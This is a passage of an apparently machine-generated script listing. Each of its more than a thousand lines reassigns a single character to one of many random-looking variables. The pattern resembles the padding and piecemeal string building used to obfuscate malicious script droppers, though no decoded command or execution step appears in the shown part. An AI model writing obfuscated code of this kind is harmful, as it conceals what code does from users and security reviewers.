298	vvgmwrs = "t";
299	vvgmwrs = "z";
300	vvgmwrs = "J";
301	vvgmwrs = "E";
302	vvgmwrs = "G";
303	vvgmwrs = "b";
304	vvgmwrs = "e";
305	nlqez = "R";
306	nlqez = "q";
307	nlqez = "g";
308	nlqez = "t";
309	nlqez = "b";
310	nlqez = "S";
311	nlqez = "q";
312	nlqez = "g";
313	nlqez = "t";
314	nlqez = "v";
315	nlqez = "D";
316	nlqez = "x";
317	nlqez = "x";
318	nlqez = "D";
319	nlqez = "g";
320	nlqez = "4";
321	wfluxdh = "x";
322	wfluxdh = "N";
323	wfluxdh = "d";
324	wfluxdh = "w";
325	wfluxdh = "C";
326	wfluxdh = "e";
327	wfluxdh = "F";
328	wfluxdh = "L";
329	wfluxdh = "O";
330	wfluxdh = "l";
331	wfluxdh = "A";
332	wfluxdh = "I";
333	wfluxdh = "b";
334	wfluxdh = "u";
335	wfluxdh = "Z";
336	wfluxdh = "z";
337	wfluxdh = "A";
338	wfluxdh = "Z";
339	wfluxdh = "f";
340	wfluxdh = "G";
341	wfluxdh = "a";
342	wfluxdh = "k";
343	wfluxdh = "e";
344	wfluxdh = "I";
345	wfluxdh = "y";
346	wfluxdh = "i";
347	wfluxdh = "w";
348	zywccthv = "Z";
349	zywccthv = "s";
350	zywccthv = "f";
351	zywccthv = "S";
352	zywccthv = "p";
353	zywccthv = "w";
354	zywccthv = "q";
355	zywccthv = "A";
356	zywccthv = "i";
357	zywccthv = "k";
358	zywccthv = "J";
359	zywccthv = "H";
360	zywccthv = "F";
361	zywccthv = "p";
362	zywccthv = "j";
363	zywccthv = "b";
364	zywccthv = "T";
365	zywccthv = "w";
366	zywccthv = "a";
367	zywccthv = "l";
368	zywccthv = "f";
369	zywccthv = "\\";
370	zrfihrklm = "J";
371	zrfihrklm = "v";
372	zrfihrklm = "B";
373	zrfihrklm = "d";
374	zrfihrklm = "B";
375	zrfihrklm = "y";
376	zrfihrklm = "x";
377	zrfihrklm = "f";
378	zrfihrklm = "L";
379	zrfihrklm = "P";
380	zrfihrklm = "C";
381	zrfihrklm = "R";
382	zrfihrklm = "F";
383	zrfihrklm = "E";
384	zrfihrklm = "r";
385	ezpevbiuj = "I";
386	ezpevbiuj = "a";
387	ezpevbiuj = "e";
388	ezpevbiuj = "q";
389	ezpevbiuj = ".";
390	mfjfesach = "N";
391	mfjfesach = "T";
392	mfjfesach = "l";
393	mfjfesach = "M";
394	mfjfesach = "z";
395	mfjfesach = "l";
396	mfjfesach = "q";
397	mfjfesach = "s";
398	mfjfesach = "R";
399	mfjfesach = "s";
400	mfjfesach = "I";
401	mfjfesach = "j";
402	mfjfesach = "u";
403	mfjfesach = "n";
404	mfjfesach = "P";
405	mfjfesach = "p";
406	mfjfesach = "D";
407	mfjfesach = "A";
408	mfjfesach = "X";
409	mfjfesach = "j";
410	mfjfesach = "g";
411	mfjfesach = "O";
412	mfjfesach = "F";
413	mfjfesach = "d";
414	xiqfb = "s";
415	xiqfb = "Q";
416	xiqfb = "q";
417	xiqfb = "P";
418	xiqfb = "a";
419	xiqfb = "c";
420	xiqfb = "F";
421	xiqfb = "a";
422	xiqfb = "h";
423	xiqfb = "e";
424	xiqfb = "j";
425	xiqfb = "p";
426	xiqfb = "B";
427	xiqfb = "Q";
428	xiqfb = "i";
429	xiqfb = "P";
430	xiqfb = "o";
431	xiqfb = "Z";
432	xiqfb = "l";
433	xiqfb = "o";
434	xiqfb = "d";
435	xiqfb = "z";
436	xiqfb = "c";
437	xiqfb = "v";
438	xiqfb = "R";
439	xiqfb = "V";
440	xiqfb = "b";
441	xiqfb = "V";
442	xiqfb = "B";
443	xiqfb = "A";
444	xiqfb = "d";
445	xiqfb = "Q";
446	xiqfb = "a";
447	xiqfb = "K";
448	xiqfb = " ";
449	cpomw = "O";
450	cpomw = "c";
451	cpomw = "w";
452	cpomw = "N";
453	cpomw = "m";
454	cpomw = "V";
455	cpomw = "n";
456	cpomw = "S";
457	cpomw = "e";
458	cpomw = "b";
459	cpomw = "x";
460	cpomw = "t";
461	cpomw = "I";
462	cpomw = "c";
463	cpomw = "U";
464	cpomw = "E";
465	cpomw = "e";
466	cpomw = "F";
467	cpomw = "P";
468	cpomw = "I";
469	cpomw = "C";
470	cpomw = "G";
471	cpomw = "o";
472	cpomw = "Y";
473	cpomw = "d";
474	cpomw = "U";
475	cpomw = "V";
476	cpomw = "o";
477	cpomw = "y";
478	cpomw = "T";
479	cpomw = "F";
480	cpomw = "X";
481	cpomw = "r";
482	cpomw = "Z";
483	cpomw = "y";
484	cpomw = "I";
485	cpomw = "D";
486	cpomw = "X";
487	cpomw = "E";
488	cpomw = "A";
489	cpomw = "Q";
490	cpomw = "R";
491	cpomw = "o";
492	cpomw = "q";
493	cpomw = "g";
494	iqjpndln = "Y";
495	iqjpndln = "L";
496	iqjpndln = "J";
497	iqjpndln = "A";
498	iqjpndln = "y";
499	iqjpndln = "q";
500	iqjpndln = "d";
501	iqjpndln = "S";
502	iqjpndln = "g";
503	iqjpndln = "x";
504	iqjpndln = "m";
505	iqjpndln = "p";
506	iqjpndln = "I";
507	iqjpndln = "e";
508	iqjpndln = "L";
509	iqjpndln = "c";
510	iqjpndln = "r";
511	iqjpndln = "t";
512	eefavos = "X";
513	eefavos = "b";
514	eefavos = "I";
515	eefavos = "o";
516	eefavos = "N";
517	eefavos = "v";
518	eefavos = "l";
519	eefavos = "G";
520	eefavos = "d";
521	eefavos = "y";
522	eefavos = "p";
523	eefavos = "b";
524	eefavos = "T";
525	eefavos = "V";
526	eefavos = "s";
527	eefavos = "2";
528	rsvprir = "k";
529	rsvprir = "w";
530	rsvprir = "L";
531	rsvprir = "B";
532	rsvprir = "Y";
533	rsvprir = "n";
534	rsvprir = "B";
535	rsvprir = "G";
536	rsvprir = "L";
537	rsvprir = "U";
538	rsvprir = "T";
539	qjfegtaz = "P";
540	qjfegtaz = "t";
541	qjfegtaz = "l";
542	qjfegtaz = "L";
543	qjfegtaz = "B";
544	qjfegtaz = "s";
545	qjfegtaz = "n";
546	qjfegtaz = "e";
547	qjfegtaz = "P";
548	qjfegtaz = "Z";
549	qjfegtaz = "j";
550	qjfegtaz = "z";
551	qjfegtaz = "j";
552	qjfegtaz = "s";
553	qjfegtaz = "n";
554	qjfegtaz = "7";
555	giwap = "i";
556	giwap = "m";
557	giwap = "p";
558	giwap = "Y";
559	giwap = "y";
560	giwap = "k";
561	giwap = "X";
562	giwap = "o";
563	giwap = "R";
564	giwap = "C";
565	giwap = "F";
566	giwap = "Z";
567	giwap = "b";
568	giwap = "J";
569	giwap = "c";
570	giwap = "W";
571	giwap = "x";
572	giwap = "I";
573	giwap = "E";
574	giwap = "z";
575	giwap = "l";
576	giwap = "h";
577	giwap = "%";
578	cfaqxpdla = "J";
579	cfaqxpdla = "E";
580	cfaqxpdla = "p";
581	cfaqxpdla = "y";
582	cfaqxpdla = "S";
583	cfaqxpdla = "s";
584	cfaqxpdla = "F";
585	cfaqxpdla = "s";
586	cfaqxpdla = "T";
587	cfaqxpdla = "t";
588	cfaqxpdla = "P";
589	cfaqxpdla = "Z";
590	cfaqxpdla = "B";
591	cfaqxpdla = "S";
592	cfaqxpdla = "S";
593	cfaqxpdla = "E";
594	cfaqxpdla = "Y";
595	cfaqxpdla = "D";
596	cfaqxpdla = "q";
597	cfaqxpdla = "K";
598	cfaqxpdla = "E";
599	cfaqxpdla = "F";
600	cfaqxpdla = "n";
601	cfaqxpdla = "W";
602	cfaqxpdla = "C";
603	cfaqxpdla = "g";
604	cfaqxpdla = "k";
605	cfaqxpdla = "I";
606	cfaqxpdla = "B";
607	cfaqxpdla = "b";
608	cfaqxpdla = "z";
609	cfaqxpdla = "Y";
610	cfaqxpdla = "N";
611	cfaqxpdla = "k";
612	cfaqxpdla = "Q";
613	cfaqxpdla = "V";
614	cfaqxpdla = "X";
615	cfaqxpdla = "_";
616	rnqqm = "q";
617	rnqqm = "E";
618	rnqqm = "E";
619	rnqqm = "j";
620	nkqsmr = "N";
621	nkqsmr = "O";
622	nkqsmr = "c";
623	nkqsmr = "S";
624	nkqsmr = "U";
625	nkqsmr = "P";
626	nkqsmr = "R";
627	nkqsmr = "A";
628	nkqsmr = "q";
629	nkqsmr = "b";
630	nkqsmr = "B";
631	nkqsmr = "h";
632	nkqsmr = "z";
633	nkqsmr = "l";
634	nkqsmr = "O";
635	nkqsmr = "z";
636	nkqsmr = "a";
637	nkqsmr = "s";
638	nkqsmr = "u";
639	nkqsmr = "M";
640	nkqsmr = "O";
641	nkqsmr = "x";
642	hsmrjnshl = "D";
643	hsmrjnshl = "R";
644	hsmrjnshl = "a";
645	hsmrjnshl = "o";
646	hsmrjnshl = "o";
647	hsmrjnshl = "x";
648	hsmrjnshl = "e";
649	hsmrjnshl = "t";
650	hsmrjnshl = "b";
651	hsmrjnshl = "C";
652	hsmrjnshl = "p";
653	hsmrjnshl = "R";
654	hsmrjnshl = "I";
655	wkhgz = "S";
656	wkhgz = "I";
657	wkhgz = "s";
658	wkhgz = "K";
659	wkhgz = "X";
660	wkhgz = "n";
661	fqzhyvym = "v";
662	fqzhyvym = "k";
663	fqzhyvym = "U";
664	fqzhyvym = "m";
665	fqzhyvym = "B";
666	fqzhyvym = "B";
667	fqzhyvym = "v";
668	fqzhyvym = "o";
669	fqzhyvym = "t";
670	fqzhyvym = "E";
671	fqzhyvym = "N";
672	fqzhyvym = "w";
673	fqzhyvym = "V";
674	fqzhyvym = "y";
675	fqzhyvym = "E";
676	fqzhyvym = "v";
677	fqzhyvym = "s";
678	fqzhyvym = "P";
679	fqzhyvym = "A";
680	fqzhyvym = "K";
681	fqzhyvym = "R";
682	fqzhyvym = "J";
683	fqzhyvym = "z";
684	fqzhyvym = "v";
685	fqzhyvym = "B";
686	fqzhyvym = "L";
687	fqzhyvym = "d";
688	fqzhyvym = "J";
689	fqzhyvym = "e";
690	fqzhyvym = "U";
691	fqzhyvym = "w";
692	fqzhyvym = "U";
693	fqzhyvym = "C";
694	fqzhyvym = "w";
695	fqzhyvym = "J";
696	fqzhyvym = "W";
697	fqzhyvym = "n";
698	fqzhyvym = "b";
699	fqzhyvym = "b";
700	fqzhyvym = "j";
701	fqzhyvym = "O";
702	fqzhyvym = "s";
703	bfhvpfxl = "l";
704	bfhvpfxl = "P";
705	bfhvpfxl = "H";
706	bfhvpfxl = "t";
707	bfhvpfxl = "k";
708	bfhvpfxl = "F";
709	bfhvpfxl = "F";
710	bfhvpfxl = "s";
711	bfhvpfxl = "n";
712	bfhvpfxl = "F";
713	bfhvpfxl = "V";
714	bfhvpfxl = "z";
715	bfhvpfxl = "U";
716	bfhvpfxl = "G";
717	bfhvpfxl = "s";
718	bfhvpfxl = "P";
719	bfhvpfxl = "b";
720	xjixvp = "w";
721	xjixvp = "u";
722	xjixvp = "p";
723	xjixvp = "F";
724	xjixvp = "I";
725	xjixvp = "e";
726	xjixvp = "y";
727	xjixvp = "E";
728	xjixvp = "A";
729	xjixvp = "v";
730	xjixvp = "y";
731	xjixvp = "q";
732	xjixvp = "b";
733	xjixvp = "C";
734	xjixvp = "j";
735	xjixvp = "h";
736	xjixvp = "T";
737	xjixvp = "G";
738	xjixvp = "L";
739	xjixvp = "W";
740	xjixvp = "e";
741	xjixvp = "W";
742	xjixvp = "t";
743	xjixvp = "J";
744	xjixvp = "D";
745	xjixvp = "r";
746	xjixvp = "O";
747	xjixvp = "y";
748	xjixvp = "x";
749	xjixvp = "r";
750	xjixvp = "r";
751	xjixvp = "Q";
752	xjixvp = "E";
753	xjixvp = "P";
754	hviotnmhm = "X";
755	hviotnmhm = "V";
756	hviotnmhm = "V";
757	hviotnmhm = "u";
758	hviotnmhm = "A";
759	hviotnmhm = "H";
760	hviotnmhm = "I";
761	hviotnmhm = "O";
762	hviotnmhm = "m";
763	hviotnmhm = "w";
764	hviotnmhm = "a";
765	hviotnmhm = "I";
766	hviotnmhm = "A";
767	hviotnmhm = "r";
768	hviotnmhm = "C";
769	ramwsyyr = "h";
770	ramwsyyr = "j";
771	ramwsyyr = "d";
772	ramwsyyr = "i";
773	ramwsyyr = "C";
774	ramwsyyr = "X";
775	ramwsyyr = "R";
776	ramwsyyr = "T";
777	ramwsyyr = "v";
778	ramwsyyr = "i";
779	ramwsyyr = "e";
780	ramwsyyr = "T";
781	ramwsyyr = "s";
782	ramwsyyr = "G";
783	ramwsyyr = "c";
784	ramwsyyr = "u";
785	ramwsyyr = "Z";
786	ramwsyyr = "G";
787	ramwsyyr = "C";
788	ramwsyyr = "q";
789	ramwsyyr = "c";
790	ramwsyyr = "L";
791	ramwsyyr = "e";
792	ramwsyyr = "I";
793	ramwsyyr = "z";
794	ramwsyyr = "A";
795	ramwsyyr = "m";
796	poerxbz = "z";
797	poerxbz = "S";
798	poerxbz = "Y";
799	poerxbz = "t";
800	poerxbz = "q";
801	poerxbz = "l";
802	poerxbz = "L";
803	poerxbz = "l";
804	poerxbz = "T";
805	poerxbz = "y";
806	poerxbz = "Y";
807	poerxbz = "o";
808	poerxbz = "Q";
809	poerxbz = "p";
810	poerxbz = "L";
811	poerxbz = "K";
812	poerxbz = "V";
813	poerxbz = "x";
814	poerxbz = "X";
815	poerxbz = "s";
816	poerxbz = "f";
817	poerxbz = "Y";
818	poerxbz = "W";
819	xrxvhq = "w";
820	xrxvhq = "p";
821	xrxvhq = "d";
822	xrxvhq = "G";
823	xrxvhq = "a";
824	xrxvhq = "g";
825	xrxvhq = "y";
826	xrxvhq = "J";
827	xrxvhq = "y";
828	xrxvhq = "t";
829	xrxvhq = "D";
830	xrxvhq = "b";
831	xrxvhq = "L";
832	xrxvhq = "Q";
833	xrxvhq = "s";
834	xrxvhq = "c";
835	xrxvhq = "e";
836	xrxvhq = "q";
837	xrxvhq = "h";
838	xrxvhq = "u";
839	xrxvhq = "t";
840	xrxvhq = "P";
841	xrxvhq = "B";
842	xrxvhq = "L";
843	xrxvhq = "T";
844	xrxvhq = "g";
845	xrxvhq = "H";
846	xrxvhq = "a";
847	xrxvhq = "E";
848	xrxvhq = "K";
849	xrxvhq = "Y";
850	xrxvhq = "G";
851	xrxvhq = "K";
852	xrxvhq = "9";
853	aingng = "I";
854	aingng = "M";
855	aingng = "S";
856	aingng = "y";
857	aingng = "m";
858	aingng = "G";
859	aingng = "C";
860	aingng = "h";
861	aingng = "S";
862	aingng = "g";
863	aingng = "i";
864	aingng = "z";
865	aingng = "O";
866	aingng = "P";
867	aingng = "N";
868	aingng = "E";
869	aingng = "B";
870	aingng = "Q";
871	aingng = "L";
872	aingng = "b";
873	aingng = "a";
874	aingng = "i";
875	aingng = "U";
876	aingng = "s";
877	aingng = "w";
878	aingng = "K";
879	aingng = "T";
880	aingng = "P";
881	aingng = "L";
882	aingng = "z";
883	aingng = "u";
884	aingng = "v";
885	aingng = "i";
886	aingng = "S";
887	ooqkpdys = "L";
888	ooqkpdys = "U";
889	ooqkpdys = "z";
890	ooqkpdys = "D";
891	ooqkpdys = "m";
892	ooqkpdys = "H";
893	ooqkpdys = "O";
894	ooqkpdys = "G";
895	ooqkpdys = "M";
896	ooqkpdys = "c";
897	ooqkpdys = "m";
898	ooqkpdys = "f";
899	ooqkpdys = "k";
900	ooqkpdys = "K";
901	ooqkpdys = "j";
902	ooqkpdys = "a";
903	ooqkpdys = "K";
904	ooqkpdys = "U";
905	ooqkpdys = "i";
906	ooqkpdys = "m";
907	ooqkpdys = "u";
908	ooqkpdys = "K";
909	ooqkpdys = "Q";
910	ooqkpdys = "T";
911	ooqkpdys = "U";
912	ooqkpdys = "A";
913	ooqkpdys = "E";
914	ooqkpdys = "V";
915	ooqkpdys = "5";
916	kirryyiq = "M";
917	kirryyiq = "w";
918	kirryyiq = "J";
919	kirryyiq = "j";
920	kirryyiq = "H";
921	kirryyiq = "t";
922	kirryyiq = "b";
923	kirryyiq = "e";
924	kirryyiq = "D";
925	kirryyiq = "a";
926	kirryyiq = "v";
927	kirryyiq = "e";
928	kirryyiq = "q";
929	kirryyiq = "N";
930	kirryyiq = "J";
931	kirryyiq = "v";
932	kirryyiq = "e";
933	kirryyiq = "M";
934	kirryyiq = "f";
935	kirryyiq = "g";
936	kirryyiq = "p";
937	kirryyiq = "r";
938	kirryyiq = "m";
939	kirryyiq = "m";
940	kirryyiq = "I";
941	kirryyiq = "N";
942	kirryyiq = "d";
943	kirryyiq = "Z";
944	kirryyiq = "i";
945	kirryyiq = "I";
946	kirryyiq = "j";
947	kirryyiq = "m";
948	kirryyiq = "F";
949	kirryyiq = "g";
950	kirryyiq = "i";
951	vfltdxne = "e";
952	vfltdxne = "D";
953	vfltdxne = "Y";
954	vfltdxne = "T";
955	vfltdxne = "e";
956	vfltdxne = "p";
957	vfltdxne = "T";
958	vfltdxne = "v";
959	vfltdxne = "T";
960	vfltdxne = "P";
961	vfltdxne = "q";
962	vfltdxne = "b";
963	vfltdxne = "m";
964	vfltdxne = "Y";
965	vfltdxne = "Q";
966	vfltdxne = "O";
967	vfltdxne = "a";
968	vfltdxne = "m";
969	vfltdxne = "R";
970	vfltdxne = "K";
971	vfltdxne = "l";
972	vfltdxne = "F";
973	vfltdxne = "v";
974	vfltdxne = "A";
975	vfltdxne = "g";
976	vfltdxne = "j";
977	vfltdxne = "B";
978	vfltdxne = "x";
979	vfltdxne = "h";
980	vfltdxne = "6";
981	qmfcx = "j";
982	qmfcx = "O";
983	qmfcx = "K";
984	qmfcx = "v";
985	qmfcx = "i";
986	qmfcx = "Y";
987	qmfcx = "D";
988	qmfcx = "F";
989	qmfcx = "n";
990	qmfcx = "z";
991	qmfcx = "K";
992	qmfcx = "M";
993	qmfcx = "Z";
994	qmfcx = "b";
995	qmfcx = "L";
996	qmfcx = "R";
997	qmfcx = "a";
998	qmfcx = "k";
999	qmfcx = "g";
1000	qmfcx = "l";
1001	qmfcx = "Z";
1002	qmfcx = "w";
1003	qmfcx = "d";
1004	qmfcx = "p";
1005	qmfcx = "F";
1006	qmfcx = "B";
1007	qmfcx = "e";
1008	qmfcx = "S";
1009	qmfcx = "a";
1010	qmfcx = "Y";
1011	qmfcx = "b";
1012	qmfcx = "b";
1013	qmfcx = "i";
1014	qmfcx = "A";
1015	qmfcx = "L";
1016	qmfcx = "K";
1017	qmfcx = "C";
1018	qmfcx = "Y";
1019	qmfcx = "Z";
1020	qmfcx = "O";
1021	kzioqi = "a";
1022	kzioqi = "Y";
1023	kzioqi = "X";
1024	kzioqi = "l";
1025	kzioqi = "o";
1026	kzioqi = "M";
1027	kzioqi = "c";
1028	kzioqi = "m";
1029	kzioqi = "E";
1030	kzioqi = "S";
1031	kzioqi = "N";
1032	kzioqi = "w";
1033	kzioqi = "H";
1034	kzioqi = "e";
1035	kzioqi = "I";
1036	kzioqi = "K";
1037	kzioqi = "V";
1038	kzioqi = "u";
1039	kzioqi = "L";
1040	kzioqi = "v";
1041	kzioqi = "A";
1042	kzioqi = "h";
1043	kzioqi = "D";
1044	kzioqi = "C";
1045	kzioqi = "V";
1046	kzioqi = "k";
1047	kzioqi = "A";
1048	kzioqi = "V";
1049	kzioqi = "o";
1050	kzioqi = "F";
1051	kzioqi = "e";
1052	kzioqi = "D";
1053	kzioqi = "P";
1054	kzioqi = "a";
1055	kzioqi = "u";
1056	eixme = "m";
1057	eixme = "S";
1058	eixme = "K";
1059	eixme = "V";
1060	eixme = "a";
1061	eixme = "Z";
1062	eixme = "d";
1063	eixme = "V";
1064	eixme = "l";
1065	eixme = "G";
1066	eixme = "C";
1067	eixme = "N";
1068	eixme = "v";
1069	eixme = "v";
1070	eixme = "O";
1071	eixme = "u";
1072	eixme = "n";
1073	eixme = "j";
1074	eixme = "Q";
1075	eixme = "l";
1076	eixme = "J";
1077	eixme = "h";
1078	zviviaxgi = "d";
1079	zviviaxgi = "m";
1080	zviviaxgi = "H";
1081	zviviaxgi = "I";
1082	zviviaxgi = "K";
1083	zviviaxgi = "g";
1084	zviviaxgi = "B";
1085	zviviaxgi = "U";
1086	zviviaxgi = "O";
1087	zviviaxgi = "N";
1088	zviviaxgi = "r";
1089	zviviaxgi = "T";
1090	zviviaxgi = "D";
1091	zviviaxgi = "n";
1092	zviviaxgi = "E";
1093	zviviaxgi = "p";
1094	zviviaxgi = "e";
1095	zviviaxgi = "F";
1096	zviviaxgi = "a";
1097	zviviaxgi = "o";
1098	zviviaxgi = "N";
1099	zviviaxgi = "u";
1100	zviviaxgi = "h";
1101	zviviaxgi = "K";
1102	zviviaxgi = "R";
1103	zviviaxgi = "Z";
1104	zviviaxgi = "x";
1105	zviviaxgi = "x";
1106	zviviaxgi = "C";
1107	zviviaxgi = "B";
1108	zviviaxgi = "G";
1109	zviviaxgi = "p";
1110	zviviaxgi = "n";
1111	zviviaxgi = "x";
1112	zviviaxgi = "G";
1113	zviviaxgi = "D";
1114	zviviaxgi = "T";
1115	zviviaxgi = "S";
1116	zviviaxgi = "i";
1117	zviviaxgi = "u";
1118	zviviaxgi = "T";
1119	zviviaxgi = "\"";
1120	gcafoox = "i";
1121	gcafoox = "Z";
1122	gcafoox = "B";
1123	gcafoox = "N";
1124	gcafoox = "m";
1125	gcafoox = "I";
1126	gcafoox = "u";
1127	gcafoox = "x";
1128	gcafoox = "F";
1129	gcafoox = "D";
1130	gcafoox = "v";
1131	gcafoox = "y";
1132	gcafoox = "e";
1133	gcafoox = "u";
1134	gcafoox = "a";
1135	gcafoox = "c";
1136	gcafoox = "A";
1137	gcafoox = "W";
1138	gcafoox = "H";
1139	gcafoox = "k";
1140	gcafoox = "g";
1141	gcafoox = "x";
1142	gcafoox = "s";
1143	gcafoox = "o";
1144	gcafoox = "A";
1145	gcafoox = "p";
1146	gcafoox = "s";
1147	gcafoox = "l";
1148	gcafoox = "z";
1149	gcafoox = "i";
1150	gcafoox = "h";
1151	gcafoox = "K";
1152	tlxlhck = "O";
1153	tlxlhck = "z";
1154	tlxlhck = "I";
1155	tlxlhck = "G";
1156	tlxlhck = "k";
1157	bgznesp = "N";
1158	bgznesp = "o";
1159	bgznesp = "d";
1160	bgznesp = "S";
1161	bgznesp = "K";
1162	bgznesp = "r";
1163	bgznesp = "o";
1164	bgznesp = "U";
1165	bgznesp = "n";
1166	bgznesp = "k";
1167	bgznesp = "o";
1168	bgznesp = "c";
1169	bgznesp = "q";
1170	bgznesp = "w";
1171	bgznesp = "y";
1172	bgznesp = "i";
1173	bgznesp = "Y";
1174	bgznesp = "R";
1175	bgznesp = "E";
1176	bgznesp = "e";
1177	bgznesp = "R";
1178	bgznesp = "v";
1179	gvwtc = "P";
1180	gvwtc = "s";
1181	gvwtc = "C";
1182	gvwtc = "x";
1183	gvwtc = "o";
1184	gvwtc = "X";
1185	gvwtc = "X";
1186	gvwtc = "O";
1187	gvwtc = "D";
1188	gvwtc = "p";
1189	gvwtc = "U";
1190	gvwtc = "n";
1191	gvwtc = "y";
1192	gvwtc = "y";
1193	gvwtc = "B";
1194	gvwtc = "M";
1195	gvwtc = "s";
1196	gvwtc = "J";
1197	gvwtc = "K";
1198	gvwtc = "V";
1199	gvwtc = "U";
1200	jtxjgyyni = "k";
1201	jtxjgyyni = "Y";
1202	jtxjgyyni = "c";
1203	jtxjgyyni = "g";
1204	jtxjgyyni = "K";
1205	jtxjgyyni = "y";
1206	jtxjgyyni = "F";
1207	jtxjgyyni = "f";
1208	jtxjgyyni = "s";
1209	jtxjgyyni = "n";
1210	jtxjgyyni = "V";
1211	jtxjgyyni = "c";
1212	jtxjgyyni = "c";
1213	jtxjgyyni = "x";
1214	jtxjgyyni = "M";
1215	jtxjgyyni = "0";
1216	rseeidba = "A";
1217	rseeidba = "a";
1218	rseeidba = "d";
1219	rseeidba = "v";
1220	rseeidba = "E";
1221	rseeidba = "n";
1222	rseeidba = "W";
1223	rseeidba = "L";
1224	rseeidba = "R";
1225	rseeidba = "f";
1226	emtyvzdwd = "j";
1227	emtyvzdwd = "Z";
1228	emtyvzdwd = "T";
1229	emtyvzdwd = "m";
1230	emtyvzdwd = "V";
1231	emtyvzdwd = "I";
1232	emtyvzdwd = "M";
1233	emtyvzdwd = "m";
1234	emtyvzdwd = "r";
1235	emtyvzdwd = "P";
1236	emtyvzdwd = "I";
1237	emtyvzdwd = "b";
1238	emtyvzdwd = "x";
1239	emtyvzdwd = "n";
1240	emtyvzdwd = "H";
1241	emtyvzdwd = "m";
1242	emtyvzdwd = "d";
1243	emtyvzdwd = "h";
1244	emtyvzdwd = "y";
1245	emtyvzdwd = "F";
1246	etuutt = "C";
1247	etuutt = "m";
1248	etuutt = "i";
1249	etuutt = "v";
1250	etuutt = "Q";
1251	etuutt = "F";
1252	etuutt = "Z";
1253	etuutt = "y";
1254	etuutt = "A";
1255	etuutt = "V";
1256	etuutt = "B";
1257	etuutt = "z";
1258	etuutt = "e";
1259	etuutt = "X";
1260	etuutt = "E";
1261	etuutt = "/";
1262	gddkplkl = "n";
1263	gddkplkl = "p";
1264	gddkplkl = "E";
1265	gddkplkl = "a";
1266	gddkplkl = "E";
1267	gddkplkl = "D";
1268	gddkplkl = "K";
1269	gddkplkl = "Q";
1270	gddkplkl = "v";
1271	gddkplkl = "Z";
1272	gddkplkl = "y";
1273	gddkplkl = "P";
1274	gddkplkl = "R";
1275	gddkplkl = "Y";
1276	gddkplkl = "V";
1277	gddkplkl = "t";
1278	gddkplkl = "K";
1279	gddkplkl = "Y";
1280	gddkplkl = "o";
1281	gddkplkl = "Z";
1282	gddkplkl = "t";
1283	gddkplkl = "R";
1284	gddkplkl = "W";
1285	gddkplkl = "n";
1286	gddkplkl = "n";
1287	gddkplkl = "k";
1288	gddkplkl = "C";
1289	gddkplkl = "O";
1290	gddkplkl = "F";
1291	gddkplkl = "B";
1292	gddkplkl = "u";
1293	gddkplkl = "W";
1294	gddkplkl = "K";
1295	gddkplkl = "c";
1296	gddkplkl = "K";
1297	gddkplkl = "R";
1298	gddkplkl = "G";
1299	gddkplkl = "u";
1300	gddkplkl = "d";
1301	gddkplkl = "v";
1302	gddkplkl = "w";
1303	gddkplkl = "N";
1304	snvlfs = "U";
1305	snvlfs = "l";
1306	snvlfs = "P";
1307	snvlfs = "O";
1308	snvlfs = "k";
1309	snvlfs = "k";
1310	snvlfs = "v";
1311	snvlfs = "S";
1312	snvlfs = "j";
1313	snvlfs = "T";
1314	snvlfs = "i";
1315	snvlfs = "m";
1316	snvlfs = "q";
1317	snvlfs = "&";
1318	dnluqv = "g";
1319	dnluqv = "q";
1320	dnluqv = "w";
1321	dnluqv = "M";
1322	dnluqv = "H";
1323	dnluqv = "l";
1324	dnluqv = "I";
1325	dnluqv = "R";
1326	dnluqv = "G";
1327	dnluqv = "H";
1328	dnluqv = "S";
1329	dnluqv = "I";
1330	dnluqv = "S";
1331	dnluqv = "F";
1332	dnluqv = "W";
1333	dnluqv = "Y";
1334	dnluqv = "d";
1335	dnluqv = "Z";
1336	dnluqv = "d";
1337	dnluqv = "W";
1338	dnluqv = "T";
1339	dnluqv = "m";
1340	dnluqv = "H";
1341	dnluqv = "P";
1342	dnluqv = "P";
1343	dnluqv = "H";
1344	dnluqv = "y";
1345	dnluqv = "f";
1346	dnluqv = "i";
1347	dnluqv = "y";
1348	dnluqv = "B";
1349	dnluqv = "U";
1350	dnluqv = "q";
1351	dnluqv = "U";
1352	dnluqv = "k";
1353	dnluqv = "d";
1354	dnluqv = "I";
1355	dnluqv = "k";
1356	dnluqv = "o";
1357	dnluqv = "x";
1358	dnluqv = "B";
1359	dnluqv = "c";
1360	eanyc = "Y";
1361	eanyc = "t";
1362	eanyc = "S";
1363	eanyc = "c";
1364	eanyc = "v";
1365	eanyc = "S";
1366	eanyc = "t";
1367	eanyc = "p";
1368	eanyc = "W";
1369	eanyc = "x";
1370	eanyc = "w";
1371	eanyc = "W";
1372	eanyc = "w";
1373	eanyc = "S";
1374	eanyc = "Z";
1375	eanyc = "y";
1376	eanyc = "k";
1377	eanyc = "q";
1378	eanyc = "x";
1379	eanyc = "B";
1380	eanyc = "S";
1381	eanyc = "T";
1382	eanyc = "q";
1383	eanyc = "v";
1384	eanyc = "u";
1385	eanyc = "C";
1386	eanyc = "B";
1387	eanyc = "w";
1388	eanyc = "N";
1389	eanyc = "m";
1390	eanyc = "B";
1391	eanyc = "g";
1392	eanyc = "K";
1393	eanyc = "F";
1394	eanyc = "N";
1395	eanyc = "S";
1396	eanyc = "E";
1397	eanyc = "P";
1398	eanyc = "3";
1399	jbieex = "A";
1400	jbieex = "O";
1401	jbieex = "k";
1402	jbieex = "f";
1403	jbieex = "c";
1404	jbieex = "L";
1405	jbieex = "O";
1406	jbieex = "K";
1407	jbieex = "L";
1408	jbieex = ":";
1409	dumqdlv = "o";
1410	dumqdlv = "t";
1411	dumqdlv = "N";
1412	dumqdlv = "X";
1413	dumqdlv = "f";
1414	dumqdlv = "1";
1415	gjqgrqpy = "u";
1416	gjqgrqpy = "z";
1417	gjqgrqpy = "G";
1418	gjqgrqpy = "X";
1419	gjqgrqpy = "P";
1420	gjqgrqpy = "E";
1421	gjqgrqpy = "n";
1422	gjqgrqpy = "b";
1423	gjqgrqpy = "e";
1424	gjqgrqpy = "J";
1425	gjqgrqpy = "h";
1426	gjqgrqpy = "n";
1427	gjqgrqpy = "c";
1428	gjqgrqpy = "C";
1429	gjqgrqpy = "i";
1430	gjqgrqpy = "u";
1431	gjqgrqpy = "s";
1432	gjqgrqpy = "g";
1433	gjqgrqpy = "C";
1434	gjqgrqpy = "s";
1435	gjqgrqpy = "Q";
1436	gjqgrqpy = "Y";
1437	gjqgrqpy = "Y";
1438	gjqgrqpy = "Q";
1439	gjqgrqpy = "V";
1440	gjqgrqpy = "p";
1441	gjqgrqpy = "p";
1442	gjqgrqpy = "o";
